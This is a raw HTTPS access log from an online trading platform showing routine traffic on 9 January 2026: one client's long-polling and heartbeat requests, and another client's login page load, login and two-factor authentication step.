[09/Jan/2026:16:09:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946456416 HTTP/1.1" -
[09/Jan/2026:16:09:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946461461 HTTP/1.1" -
[09/Jan/2026:16:09:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946466503 HTTP/1.1" -
[09/Jan/2026:16:10:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:10:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:10:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946471549 HTTP/1.1" -
[09/Jan/2026:16:10:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946476589 HTTP/1.1" -
[09/Jan/2026:16:10:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:10:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:10:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946481629 HTTP/1.1" -
[09/Jan/2026:16:10:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946486654 HTTP/1.1" -
[09/Jan/2026:16:10:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946491689 HTTP/1.1" -
[09/Jan/2026:16:10:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946496726 HTTP/1.1" -
[09/Jan/2026:16:10:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:10:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:10:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946501773 HTTP/1.1" -
[09/Jan/2026:16:10:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946506794 HTTP/1.1" -
[09/Jan/2026:16:10:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:10:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:10:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946511831 HTTP/1.1" -
[09/Jan/2026:16:10:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946516862 HTTP/1.1" -
[09/Jan/2026:16:10:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946521906 HTTP/1.1" -
[09/Jan/2026:16:10:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946526943 HTTP/1.1" -
[09/Jan/2026:16:11:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:11:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:11:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946531991 HTTP/1.1" -
[09/Jan/2026:16:11:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946537012 HTTP/1.1" -
[09/Jan/2026:16:11:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:11:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:11:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946542052 HTTP/1.1" -
[09/Jan/2026:16:11:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946547080 HTTP/1.1" -
[09/Jan/2026:16:11:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946552127 HTTP/1.1" -
[09/Jan/2026:16:11:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946557187 HTTP/1.1" -
[09/Jan/2026:16:11:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:11:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:11:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946562222 HTTP/1.1" -
[09/Jan/2026:16:11:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946567247 HTTP/1.1" -
[09/Jan/2026:16:11:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:11:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:11:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946572297 HTTP/1.1" -
[09/Jan/2026:16:11:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946577331 HTTP/1.1" -
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767946579754 HTTP/1.1" 3188
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:16:11:50 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:16:11:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946582375 HTTP/1.1" -
[09/Jan/2026:16:11:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946587416 HTTP/1.1" -
[09/Jan/2026:16:12:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:12:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:12:02 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:16:12:02 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:16:12:02 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:16:12:02 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:12:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946592459 HTTP/1.1" -
[09/Jan/2026:16:12:02 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 460
[09/Jan/2026:16:12:03 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:16:12:03 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:16:12:03 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:16:12:03 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:16:12:03 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:16:12:03 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:16:12:03 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:16:12:03 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:16:12:03 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:16:12:03 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767946593379 HTTP/1.1" 3188
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:16:12:04 +0800] 115.160.147.194 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:16:12:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946597489 HTTP/1.1" -
[09/Jan/2026:16:12:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:12:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
